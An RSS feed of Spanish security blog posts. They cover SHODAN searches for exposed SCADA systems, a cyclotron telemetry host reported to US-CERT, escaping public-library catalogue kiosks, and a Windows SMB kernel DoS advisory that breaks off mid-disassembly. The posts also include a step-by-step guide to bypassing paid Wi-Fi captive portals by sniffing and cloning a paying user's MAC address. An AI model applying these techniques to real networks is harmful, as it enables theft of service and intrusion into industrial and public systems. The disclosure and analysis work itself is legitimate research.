<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>48Bits Blog &#187; Redes</title>
	<atom:link href="http://blog.48bits.com/category/redes/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.48bits.com</link>
	<description>48Bits ... The one and a half architecture land.</description>
	<lastBuildDate>Thu, 19 Jan 2012 11:31:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Te veo el ciclotrón jiji</title>
		<link>http://blog.48bits.com/2010/04/25/te-veo-el-ciclotron-jiji/</link>
		<comments>http://blog.48bits.com/2010/04/25/te-veo-el-ciclotron-jiji/#comments</comments>
		<pubDate>Sun, 25 Apr 2010 16:44:58 +0000</pubDate>
		<dc:creator>Ruben Santamarta</dc:creator>
				<category><![CDATA[48Bits advisories]]></category>
		<category><![CDATA[Redes]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1320</guid>
		<description><![CDATA[¡ Hola vaquillas y toretes de la seguridad ! Hace algún tiempo hablamos de SHODAN. Desde entonces ha crecido bastante, incluso la FOCA de Chema se ha integrado en él. El caso es que es una fuente inagotable de diversión y aprendizaje, debido a la posibilidad de comprobar la existencia de ordenadores corriendo software/hardware muy [...]]]></description>
			<content:encoded><![CDATA[<p> ¡ Hola <a href="http://es.wikipedia.org/wiki/Juan_Jos%C3%A9_Moreno_Cuenca">vaquillas</a> y <a href="http://es.wikipedia.org/wiki/El_Torete">toretes</a> de la seguridad !</p>
<p>Hace algún tiempo hablamos de <a href="http://www.shodanhq.com">SHODAN</a>. Desde entonces ha crecido bastante, incluso la <a href="http://elladodelmal.blogspot.com/2010/02/shodan-foca.html">FOCA</a> de Chema se ha integrado en él.</p>
<p>El caso es que es una fuente inagotable de diversión y aprendizaje, debido a la posibilidad de comprobar la existencia de ordenadores corriendo software/hardware muy específico. Aunque a veces te encuentras con cosas que sería mejor que no estuvieran ahí. </p>
<p>Hablemos del ciclotrón!<br />
<span id="more-1320"></span></p>
<p>No puedo ser muy prolífico en detalles por razones obvias. En cualquier caso, andaba yo buscando ordenadores con un determinado software muy específico usado en sistemas de control industrial, SCADA, M2M&#8230; cuando me encontré con uno perteneciente a los  <a href="http://www.lbl.gov">Lawrence Berkely National Laboratories</a>, dependientes del Departamento de Energía de EEUU.</p>
<p>Una mala configuración de este software había hecho que se pudiera acceder a todas las unidades del ordenador expuesto, es decir tenía acceso a todo el disco duro. La máquina es un Windows, por lo tanto os imagináis toda la información que se puede sacar. </p>
<p>Entre la información accesible se encuentra Software de entornos industriales y destinados a procesos SCADA y M2M. Analizando ciertos ficheros se llega a la conclusión que este software está funcionando en el ordenador, por lo que se puede inferir que esta máquina al estar expuesta es un nexo de unión entre internet y la LAN industrial.</p>
<p>Tras analizar ciertos ficheros de log, hacer algunas pruebas etc me &#8220;permito&#8221; inferir que es una de las máquinas que forma parte del sistema de telemetría del <a href="http://es.wikipedia.org/wiki/Ciclotr%C3%B3n">ciclotrón</a> de <a href="http://user88.lbl.gov">88 pulgadas</a> que tienen en dichos laboratorios.</p>
<p>Tocaba consultar con mi hermana Raquel, que es una señorita Doctora en Física de Partículas ( se me nota cómo presumo de hermana ¿no? jeje ) , a ver las posibles implicaciones que podría tener el poseer cierto control sobre las medidas de alarma, control etc en un &#8220;aparato&#8221; como estos. Me aclaró bastantes cosas de su funcionamiento, si bien no vas a provocar un chernobil, ciertamente es peligroso mientras está en funcionamiento. De hecho, tiene un protocolo de seguridad en el marco de las instalaciones nucleares.</p>
<p>Así que dicho y hecho, he contactado con el <a href="http://www.us-cert.gov">US-CERT</a> para avisarles de que, bajo mi punto de vista, eso no debería estar &#8220;abierto&#8221; al público. De hecho analizando logs, esa máquina ha sido escaneada en repetidas ocasiones por software de &#8220;seguridad&#8221; automático. Pero como una IP más, no percatándose de las características del mismo.</p>
<p>A día de hoy, la máquina sigue estando abierta. Entiendo que en esta semana se solucionará.</p>
<p>Os dejo algunas capturas del sistema de telemetría del Cyclotron 88-inch de los LBNL</p>
<p><del datetime="2010-04-25T21:24:42+00:00">Ya me veo en guantánamo con &#8220;the Snake&#8221; en vez de &#8220;el Polilla&#8221; xD</del></p>
<p><img src="http://blog.48bits.com/wp-content/uploads/2010/04/monitor.png" alt="" title="monitor" width="975" height="708" class="aligncenter size-full wp-image-1323" /><br />
<img src="http://blog.48bits.com/wp-content/uploads/2010/04/panel5-796x1024.png" alt="" title="panel5" width="796" height="1024" class="aligncenter size-large wp-image-1321" /><br />
<img src="http://blog.48bits.com/wp-content/uploads/2010/04/panel4.png" alt="" title="panel4" width="975" height="708" class="aligncenter size-full wp-image-1324" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/04/25/te-veo-el-ciclotron-jiji/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Buscando sistemas SCADA con SHODAN.</title>
		<link>http://blog.48bits.com/2009/11/28/buscando-sistemas-scada-con-shodan/</link>
		<comments>http://blog.48bits.com/2009/11/28/buscando-sistemas-scada-con-shodan/#comments</comments>
		<pubDate>Sat, 28 Nov 2009 09:17:39 +0000</pubDate>
		<dc:creator>Ruben Santamarta</dc:creator>
				<category><![CDATA[Redes]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=767</guid>
		<description><![CDATA[Hola amigos delincuentes ocasionales, Hay un nuevo juguete en la ciudad, llamado SHODAN, yo me enteré por el tuiter del hdmoore y la gente de SbD también ha hablado de él. Mola. Te das cuenta como entidades financieras como Cetelem usan IIS 4.0 ¬¬ y cosas peores. Por lo que he podido investigar, está bastante [...]]]></description>
			<content:encoded><![CDATA[<p>Hola amigos delincuentes ocasionales,<br />
Hay un nuevo juguete en la ciudad, llamado SHODAN, yo me enteré por el <a href="http://twitter.com/hdmoore">tuiter</a> del hdmoore y la gente de <a href="http://www.securitybydefault.com/2009/11/shodan-un-buscador-diferente.html">SbD</a> también ha hablado de él.</p>
<p>Mola. Te das cuenta como entidades financieras como <a href="http://www.cetelem.es">Cetelem</a> usan IIS 4.0 ¬¬ y cosas peores.<br />
Por lo que he podido investigar, está bastante bien para buscar sistemas SCADA y sistemas embebidos que puedan ser interesantes. Vamos a ver algunos ejemplos:</p>
<p>En muchos de los sistemas SCADA expuestos también es posible acceder al ModBus via TCP con todo lo que ello supone.Incluso aunque el propio software de gestión/monitorizacion web no nos permita hacer demasiado.Sí que nos da una pista de por donde pueden ir los tiros. </p>
<p><strong>Fuji Electric Embedded Web Server:</strong><br />
<a href="http://shodan.surtri.com/?q=fuji+electric">http://shodan.surtri.com/?q=fuji+electric</a></p>
<p><strong>Ouman embedded Web Server for SCADA</strong>. Basado en una versión vulnerable de Boa Server.<br />
<a href="http://shodan.surtri.com/?q=webscada">http://shodan.surtri.com/?q=webscada</a></p>
<p><strong>eWon</strong><br />
<a href="http://shodan.surtri.com/?q=ewon">http://shodan.surtri.com/?q=ewon</a></p>
<p><strong>Boa Web Server</strong><br />
Muchas cosillas chulas. Incluidas cámaras de vigilancia <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<a href="http://shodan.surtri.com/?q=boa">http://shodan.surtri.com/?q=boa</a></p>
<p><strong>EIG Embedded Web Server</strong><br />
A rio revuelto, ganancia de amperios.<br />
<a href="http://shodan.surtri.com/?q=EIG">http://shodan.surtri.com/?q=EIG</a></p>
<p><strong>EnergyICT</strong><br />
<a href="http://shodan.surtri.com/?q=energyICT">http://shodan.surtri.com/?q=energyICT</a> </p>
<p>Ojito con este tipo de sistemas. No rompas nada ni juegues demasiado si no sabes lo que estás haciendo.<strong>Yo no me hago responsable de que la mangues</strong>. </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2009/11/28/buscando-sistemas-scada-con-shodan/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>La biblioteca karateka.</title>
		<link>http://blog.48bits.com/2009/09/02/la-biblioteca-karateka/</link>
		<comments>http://blog.48bits.com/2009/09/02/la-biblioteca-karateka/#comments</comments>
		<pubDate>Wed, 02 Sep 2009 16:08:18 +0000</pubDate>
		<dc:creator>Ruben Santamarta</dc:creator>
				<category><![CDATA[48Bits advisories]]></category>
		<category><![CDATA[Ingeniería inversa]]></category>
		<category><![CDATA[Redes]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=487</guid>
		<description><![CDATA[Hola amigos de lo ajeno. Ya se acabarón las vacaciones, Salvo para algunos suertudos que se las habrán pillado ahora. Aunque bien merecidas eh, que para eso han estado currando todo agosto como unos campeones. Pues eso, para que quede constancia en el internel, ya que no he visto nada con respecto al tema ( [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.48bits.com/wp-content/uploads/2009/09/karate-kid.jpg"><img src="http://blog.48bits.com/wp-content/uploads/2009/09/karate-kid.jpg" alt="karate-kid" title="karate-kid" width="400" height="280" class="alignnone size-full wp-image-497" /></a></p>
<p>Hola amigos de lo ajeno. Ya se acabarón las vacaciones, Salvo para algunos suertudos que se las habrán pillado ahora. Aunque bien merecidas eh, que para eso han estado currando todo agosto como unos campeones.</p>
<p>Pues eso, para que quede constancia en el internel,  ya que no he visto nada con respecto al tema ( de inseguridades ), hoy comentaremos un poco cómo chutan los puestos de consulta de las bibliotecas públicas (amén de privadas y/o las de ciertas universidades) del Estado y cómo se pueden &#8220;petar&#8221;. No de todas pero sí de un número a tener en cuenta.<br />
Antes de seguir con el tema es muy recomendable que eches un ojo a las siguientes páginas para que te quedes con la copla:</p>
<ol>
<a href="http://es.wikipedia.org/wiki/Cat%C3%A1logo_en_l%C3%ADnea">http://es.wikipedia.org/wiki/Cat%C3%A1logo_en_l%C3%ADnea</a><br />
	<a href="http://www.baratz.es/">http://www.baratz.es/</a><br />
	<a href="http://www.absysnet.com/">http://www.absysnet.com/</a><br />
<a href="http://www.eliza.es/">http://www.eliza.es/</a></ol>
<p><span id="more-487"></span><br />
En la última pásate por la sección de manuales. Ahora asumiendo que has leido las cosas, obviaré la explicación de ciertos conceptos.<br />
Pues bien la cosa es sencilla, en muchos de los puestos &#8220;tontos&#8221; de consulta de las bibliotecas lo que se usa es el OPAC de absysnet para el catalogo de la libreria que corresponda, accediendose a él desde un &#8220;navegador neutro&#8221;, en este caso el Eliza, que sólo nos permite en teoría navegar por el interior del catálogo.Es decir, por la interfaz web de absysnet OPAC.</p>
<p>El &#8220;problema&#8221; de esta aproximación, entrecomillo problema porque realmente es una cuestión documentada dentro de los manuales de Eliza, es qué pasa si de alguna manera podemos tener acceso a enlaces externos de internet.</p>
<p>El navegador neutro carece de la barra de direcciones o cualquier otro elemento que nos permita introducir dónde queremos navegar. A su vez, al instalar el Eliza GMRC, todo &#8220;Windows&#8221; pasa a ser un terminal tonto que sólo permite usar el navegador Eliza para consultar el catálogo configurado. Sin embargo está preparado para integrarse con el sistema OPAC de absysnet.Es decir, sólo podremos acceder a enlaces externos si de alguna manera conseguimos generarlos usando la interfaz de Absysnet OPAC.</p>
<p>Ahora vamos a echar un ojo a la interfaz desde nuestro propio navegador.Por ejemplo, el catálogo de la biblioteca de la Comunidad de Madrid</p>
<p><a href="http://www.madrid.org/biblio_catalogos/BaratzCL/">http://www.madrid.org/biblio_catalogos/BaratzCL/</a><br />
Introducimos en el buscador &#8220;patatas fritas&#8221; y le damos a buscar. Pinchamos en algún resultado de los que nos salen y nos fijamos en la esquina inferior derecha, donde pone </p>
<blockquote><p>&#8220;Enlaces en la red:<br />
- Generador de enlaces absysNETc+I/link </p></blockquote>
<p>Pinchamos ahí y bingo! tenemos salida directa a Google. con lo que ello significa. Poder acceder a cualquier dirección que queramos. A partir de ahi ya es echarle imaginación al tema. Hay que destacar que Eliza GMRC implementa sus propios métodos de control para evitar descargar o ejecutar programas. Pero bueno, vosotros que sois hackers digitales de esos seguro que encontráis algo para saltároslo&#8230;;)</p>
<p>En definitiva, es un método para poder hacer el cabra desde un ordenador &#8220;anónimo&#8221;. Me ha dicho un amigo del primo de mi cuñao que lo ha probado y que una vez dentro de la red interna se encontró routers de los de 1234/1234 y cosas de esas chulis&#8230;Todo depende de cómo se tomen la seguridad en la biblioteca de vuestra zona. En cualquier caso, la posibilidad de petar este tipo de puestos Eliza+Absysnet OPAC está ahí y es factible en varias comunidades autónomas. No voy a entrar a opinar en la calidad del software de Eliza ( desarrollado por JMJ ) si alguno lo quiere destripar y comprobarlo él mismo que se pase por <a href="http://www.jmj.es/descargas">www.jmj.es/descargas</a> :/</p>
<p>Para terminar un video del primo del concuñao de una tia segunda mía que tiene tuenti y que me encontré en benidorm. Me dijo que también lo ha probado y se sacó una shell.</p>
<p><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/3FHA-XU-dB4&#038;hl=es&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/3FHA-XU-dB4&#038;hl=es&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></p>
<p>feliz caza!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2009/09/02/la-biblioteca-karateka/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Interneeeeeeeeeeeeeeeeeeeeeeeeeeeeeeet!!</title>
		<link>http://blog.48bits.com/2008/11/26/interneeeeeeeeeeeeeeeeeeeeeeeeeeeeeeet/</link>
		<comments>http://blog.48bits.com/2008/11/26/interneeeeeeeeeeeeeeeeeeeeeeeeeeeeeeet/#comments</comments>
		<pubDate>Wed, 26 Nov 2008 07:27:54 +0000</pubDate>
		<dc:creator>48bits</dc:creator>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Redes]]></category>
		<category><![CDATA[etherchange]]></category>
		<category><![CDATA[hacking wireless]]></category>
		<category><![CDATA[mac spoofing]]></category>
		<category><![CDATA[portal captivo]]></category>
		<category><![CDATA[portal cautivo]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=298</guid>
		<description><![CDATA[Algunos de nosotros, por nuestro trabajo, hobbys o demás razones , debemos viajar a menudo y como miembros de esta sociedad de la información actual, o también porque seamos algo mas freaks que la mayoría de la gente, tenemos una necesidad que “enjuto mojamuto” definió muy bien.. “Inteeeerrrrneeeeeeeeet!!” El caso es que la mayoría de [...]]]></description>
			<content:encoded><![CDATA[<p>Algunos de nosotros, por nuestro trabajo, hobbys o demás razones , debemos viajar a menudo y como miembros de esta sociedad de la información actual, o también porque seamos algo mas freaks que la mayoría de la gente, tenemos una necesidad que “<a href="http://muchachadanui.rtve.es/muchachada/enjuto_mojamuto.html">enjuto mojamuto</a>”  definió  muy bien.. “Inteeeerrrrneeeeeeeeet!!”</p>
<p>El caso es que la mayoría de hoteles, cafeterías, aeropuertos y estaciones de tren nos ofrecen la posibilidad de conectarnos a Internet a través de sus redes “públicas”, pero con un coste muy elevado por lo que, si no puedes pagarte una tarifa plana de 3G ni pagar 25 por día de conexión en una red pública, vamos a explicar como conseguirla, “de gratis” en nuestra nueva sección de Tecnología for dummies.</p>
<p>Nuestro ejemplo aleatorio, va a ser la T4, desde donde estoy escribiendo estas líneas, aunque tambien se incluyen referencias a otros entornos. Nada más encender mi portátil observo múltiples puntos de acceso  abiertos a las que me puedo conectar. El funcionamiento es el siguiente, una vez conectado a dicha red, el servidor DHCP remoto me asigna una dirección IP. Hasta aquí todo bien.<br />
<center><a href='http://blog.48bits.com/wp-content/uploads/2008/11/imagen1_ip.jpg' title='DHCP Wireless'><img src='http://blog.48bits.com/wp-content/uploads/2008/11/imagen1_ip.jpg' alt='DHCP Wireless' /></a></center></p>
<p>El problema está en que mi equipo portátil se encuentra en un segmento “aislado”, es decir, el servidor dns redirige cualquier petición que yo realice contra un “portal cautivo”, es decir, un frontal Web que requiere autenticación.<br />
<span id="more-298"></span><br />
La idea es que, cuando nos autentiquemos, automáticamente se generará una nueva regla en el firewall que permita tráfico saliente desde mi equipo hacia Internet, mientras tanto, el tráfico estará bloqueado y solo podremos tener acceso por HTTP o HTTPS a las páginas Web definidas por el proveedor de acceso, habitualmente un portal de compra online para pagar con tarjeta y la Web de la compañía.</p>
<p>Llegados a este punto tenemos varias posibilidades:</p>
<p><strong>1) Tunelizar el tráfico: </strong>Montar un tunel DNS que nos permita enrutar tráfico a través del protocolo DNS. Para ello necesitamos un sistema externo conectado a internet y un dominio del que seamos propietarios. Esto es habitualmente muy lento y no todo el mundo dispone de la infraestructura necesaria. <a href="http://dnstunnel.de/">http://dnstunnel.de/</a></p>
<p><strong>2) Hack Sk1llz:</strong> Atacar el portal Web del proveedor de acceso o alguna de las páginas accesibles desde el portal captivo, encontrando alguna vulnerabilidad, por ejemplo un php include path, que nos permita acceder a páginas externas o alguna vulnerabilidad de inyección sql que nos permita volcar usuarios y contraseñas de la base de datos. Siendo realistas, esto no lo vamos a encontrar nunca <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> .</p>
<p><center><a href='http://blog.48bits.com/wp-content/uploads/2008/11/imagen2_hacking_portal.jpg' title='hacking wireless provider'><img src='http://blog.48bits.com/wp-content/uploads/2008/11/imagen2_hacking_portal.jpg' alt='hacking wireless provider' /></a></center></p>
<p><strong>3) Atacar algún sistema de la red o alguna estación de trabajo:</strong> conectada a la red, que tenga la pasta suficiente como para pagar y que pueda estar autenticado. Podemos para ello usar alguna herramienta &#8220;for dummies&#8221; estilo metasploit, e instalar un proxy http en su maquina. El problema es que no sabemos cuanto tiempo estará conectado dicho cliente.<br />
<center><a href='http://blog.48bits.com/wp-content/uploads/2008/11/imagen3_atacar_cliente.jpg' title='atacando clientes'><img src='http://blog.48bits.com/wp-content/uploads/2008/11/imagen3_atacar_cliente.jpg' alt='atacando clientes' /></a></center></p>
<p><strong>4) Cambio de direccionamiento:</strong> Una opción que funciona muy bien en algunos entornos, es simplemente realizar un cambio de IP. Si el servidor nos asigna una 10.x.x.x/24 vamos a probar a meternos a mano una dirección ip 192.168.x.x/16 con gw por defecto 192.168.0.1 a ver que vemos. No sería la primera vez que nos encontremos de este modo salida directa a Internet y acceso a la red de servidores de la empresa que ofrece la conectividad.</p>
<p><strong>5) Suplantación de identidad: </strong>Si todo consiste en tener una dirección MAC valida para poder tener salida a Internet&#8230; vamos a intentar localizar una válida. Para ello solo es necesario lo siguiente:<br />
- Ordenador portátil con tarjeta Wireless<br />
- Librerías Winpcap: Disponibles en <a href="http://winpcap.org">winpcap.org</a><br />
- Tu sniffer favorito: Por ejemplo <a href="http://www.wireshark.org">Wireshark </a><br />
- Herramienta para cambiar la MAC. Por ejemplo <a href="http://ntsecurity.nu/toolbox/etherchange">etherchange</a></p>
<p>Lo primero que debemos hacer es ejecutar el sniffer y realizar una captura de por ejemplo 1 minuto. Paramos la captura con el sniffer, y hacemos un pequeño filtro del tráfico, en el wireshark establecemos “TCP” para buscar solo conexiones establecidas, y le damos a ordenar por dirección de origen.</p>
<p>Dentro de las conexiones establecidas nos vamos a encontrar dos cosas:</p>
<p>a)	conexiones http y https contra el portal cautivo (las dos direcciones ip de origen y destino serán de la red en la que estamos conectados)<br />
b)	conexiones establecidas a través de cualquier protocolo con direcciones IP de Internet o de redes externas</p>
<p><center><a href='http://blog.48bits.com/wp-content/uploads/2008/11/imagen4_sniffer.jpg' title='sniffing'><img src='http://blog.48bits.com/wp-content/uploads/2008/11/imagen4_sniffer.jpg' alt='sniffing' /></a></center></p>
<p>Seleccionamos una de las conexiones establecidas hacia el exterior y apuntamos la dirección MAC. una vez apuntada, haremos uso de la herramienta etherchange.</p>
<p><a href='http://blog.48bits.com/wp-content/uploads/2008/11/imagen5_etherchange.jpg' title='etherchange'><img src='http://blog.48bits.com/wp-content/uploads/2008/11/imagen5_etherchange.jpg' alt='etherchange' /></a></p>
<p>Trás realizar el cambio, debemos ir ala sección &#8220;conexiones de red&#8221;, deshabilitar la tarjeta y volver a habilitarla. En ese momento el interfaz de red se refrescará con la dirección MAC que hayamos establecido.</p>
<p><center><a href='http://blog.48bits.com/wp-content/uploads/2008/11/imagen6_desactivar.jpg' title='desactivar interfaz de red'><img src='http://blog.48bits.com/wp-content/uploads/2008/11/imagen6_desactivar.jpg' alt='desactivar interfaz de red' /></a></center></p>
<p>En este momento, nos podemos conectar nuevamente a la red inalámbrica. La diferencia será que el servidor DHCP nos asignará la dirección IP del otro cliente, que está asociada con dicha dirección MAC. </p>
<p><center><a href='http://blog.48bits.com/wp-content/uploads/2008/11/imagen7_conexion_finaljpf.JPG' title='mac spoofing IP'><img src='http://blog.48bits.com/wp-content/uploads/2008/11/imagen7_conexion_finaljpf.JPG' alt='mac spoofing IP' /></a></center><br />
En este punto, ya tenemos conectividad y una dirección IP nueva que nos permita navegar por Internet.</p>
<p>Interneeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeet <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p><center><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/2OBZHB5I89A&#038;hl=es&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/2OBZHB5I89A&#038;hl=es&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></center></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2008/11/26/interneeeeeeeeeeeeeeeeeeeeeeeeeeeeeeet/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Microsoft Windows WRITE_ANDX SMB command handling Kernel DoS</title>
		<link>http://blog.48bits.com/2008/09/14/microsoft-windows-write_andx-smb-command-handling-kernel-dos/</link>
		<comments>http://blog.48bits.com/2008/09/14/microsoft-windows-write_andx-smb-command-handling-kernel-dos/#comments</comments>
		<pubDate>Sun, 14 Sep 2008 18:57:56 +0000</pubDate>
		<dc:creator>Javier Vicente Vallejo</dc:creator>
				<category><![CDATA[48Bits advisories]]></category>
		<category><![CDATA[48Bits exploits]]></category>
		<category><![CDATA[Ingeniería inversa]]></category>
		<category><![CDATA[Redes]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=276</guid>
		<description><![CDATA[Hola a todos, aquí va el advisory de un DoS que descubrí hace unos días y que en un principio no parecía tener mucha chicha, pero que ha terminado siendo un DoS en toda regla y bastante curioso. No hay mucho más que decir al respecto porque el advisory, con el pedazo de análisis cañero [...]]]></description>
			<content:encoded><![CDATA[<p>Hola a todos,<br />
aquí va el advisory de un DoS que descubrí hace unos días y que en un principio no parecía tener mucha chicha, pero que ha terminado siendo un DoS en toda regla y bastante curioso. No hay mucho más que decir al respecto porque el advisory, con el pedazo de análisis cañero que se ha currado Rubén, ya lo dice todo <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Lo único aclarar que hasta ahora no ha aparecido información sobre el bug por ningún sitio, así que aquí lo teneís en primicia (a dia de hoy el bug está sin parchear).Así que lo dicho, aquí va el advisory para ésta vulnerabilidad.<span id="more-276"></span></p>
<p>Vulnerability and Exploit: Javier Vicente Vallejo, <a href="http://www.vallejo.cc" target="_blank">http://www.vallejo.cc</a><br />
Vulnerability Analysis: Ruben Santamarta, <a href="http://www.reversemode.com" target="_Blank">http://www.reversemode.com</a></p>
<p><strong>Abstract</strong></p>
<p>Un DoS ocurre cuando se envía un SMB Write malformado a una máquina con Windows Vista instalado, a través de una pipe conectada.</p>
<p>En un principio el bug se reprodujo con la interfaz SRVSVC. Por defecto esta pipe se podría conectar con cualquier usuario, aunque las NULL sessions están restringidas por defecto para esta interfaz rpc. Tras el análisis se pudo comprobar que el bug se reproducía también con otras interfaces que usen Named Pipes como endpoints, por ejemplo, con LSARPC. Esta interfaz podría conectarse mediante una NULL Session, lo que nos permite llevar a cabo el DoS sobre cualquier Vista sin necesidad de conocer ningún usuario.<br />
<strong><br />
Affected versions</strong></p>
<p>Windows 2000,XP,2003 Server,Vista y Server 2008. (32-bit)</p>
<p>Probado exitósamente con Microsoft Windows Vista SP1 con los últimos parches.</p>
<p><strong>Analysis</strong></p>
<p>La causa para este DoS es un paquete de tipo SMB WRITE_ANDX (<a href="http://msdn.microsoft.com/en-us/library/aa302278.aspx" target="_blank">http://msdn.microsoft.com/en-us/library/aa302278.aspx</a>) con valores erróneos para los campos  DataOffset y DataLength.</p>
<p>El casque ocurre cuando npfs.sys llama a memcpy con un puntero inválido para el parámetro src.</p>
<blockquote><p>1: kd&gt; !analyze -v<br />
*******************************************************************************<br />
*                                                                             *<br />
*                        Bugcheck Analysis                                    *<br />
*                                                                             *<br />
*******************************************************************************</p>
<p>PAGE_FAULT_IN_NONPAGED_AREA (50)<br />
Invalid system memory was referenced.  This cannot be protected by try-except,<br />
it must be protected by a Probe.  Typically the address is just plain bad or it<br />
is pointing at freed memory.<br />
Arguments:<br />
Arg1: 92bc0000, memory referenced.<br />
Arg2: 00000000, value 0 = read operation, 1 = write operation.<br />
Arg3: 81c834b3, If non-zero, the instruction address which referenced the bad memory<br />
address.<br />
Arg4: 00000000, (reserved)</p>
<p>Debugging Details:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
READ_ADDRESS:  92bc0000 Nonpaged pool</p>
<p>FAULTING_IP:<br />
nt!memcpy+33<br />
81c834b3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]</p>
<p>MM_INTERNAL_CODE:  0</p>
<p>DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT</p>
<p>BUGCHECK_STR:  0&#215;50</p>
<p>PROCESS_NAME:  System</p>
<p>CURRENT_IRQL:  0</p>
<p>TRAP_FRAME:  90126b40 &#8212; (.trap 0xffffffff90126b40)<br />
ErrCode = 00000000<br />
eax=92bc02cf ebx=90126c4c ecx=000000b4 edx=00000000 esi=92bbffff edi=98640b98<br />
eip=81c834b3 esp=90126bb4 ebp=90126bbc iopl=0         nv up ei pl nz ac po nc<br />
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010212<br />
nt!memcpy+0&#215;33:<br />
81c834b3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:98640b98=00000000 ds:0023:92bbffff=????????<br />
Resetting default scope</p>
<p>LAST_CONTROL_TRANSFER:  from 81cd86df to 81c81720</p>
<p>STACK_TEXT:<br />
901266b4 81cd86df 00000003 9012dc44 00000000 nt!RtlpBreakWithStatusInstruction<br />
90126704 81cd914c 00000003 00000000 8c3236b0 nt!KiBugCheckDebugBreak+0x1c<br />
90126ab0 81ca9df2 00000050 92bc0000 00000000 nt!KeBugCheck2+0x5f4<br />
90126b28 81c8fa34 00000000 92bc0000 00000000 nt!MmAccessFault+0&#215;106<br />
90126b28 81c834b3 00000000 92bc0000 00000000 nt!KiTrap0E+0xdc<br />
<strong>90126bbc 8726422c 98640a68 92bbfecf 00000400 nt!memcpy+0&#215;33</strong><br />
90126c04 87261f32 952ad314 00000001 92bbfecf Npfs!NpWriteDataQueue+0xf6<br />
90126c58 8726289d 839f3c40 00000001 90126c70 Npfs!NpInternalWrite+0&#215;124<br />
90126c7c 872628e7 839f3c40 92baf9a8 0000ffff Npfs!NpCommonFileSystemControl+0x17b<br />
90126c94 81c27fae 839f3c40 92baf9a8 92baf008 Npfs!NpFsdFileSystemControl+0&#215;19<br />
90126cac 901736d0 90827482 9016562c 92baf008 nt!IofCallDriver+0&#215;63<br />
<strong>90126d30 9015a39b 83a01dd8 83a01da0 92baf010 srv!SrvSmbWriteAndX+0x9a1</strong><br />
90126d54 9016be8d 00000000 8c3236b0 00000000 srv!SrvProcessSmb+0&#215;151<br />
90126d7c 81e25472 00a01da0 9012d680 00000000 srv!WorkerThread+0x12c<br />
90126dc0 81c9141e 9016bd61 83a01da0 00000000 nt!PspSystemThreadStartup+0x9d<br />
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0&#215;16</p></blockquote>
<p>Srv.sys se encarga de procesar el paquete recibido y enrutarlo hacia el driver que corresponda, en este caso npfs.sys (named pipe file system driver) al servir la NamedPipe SrvSvc como endpoint para la interfaz RPC que estamos usando. Veamos cómo maneja el paquete enviado.</p>
<div class="dean_ch" style="white-space: wrap;">
Módulo: srv.sys &nbsp; &nbsp; &nbsp; &nbsp;Vista SP1</p>
<p><span class="kw4">PAGE</span>:<span class="nu0">00048583</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">movzx</span> &nbsp; <span class="kw3">ecx</span>, <span class="kw5">word</span> <span class="kw4">ptr</span> <span class="br0">&#91;</span><span class="kw3">ebx</span>+17h<span class="br0">&#93;</span>&nbsp; &nbsp; <span class="co1">; Packet. DataOffset</span><br />
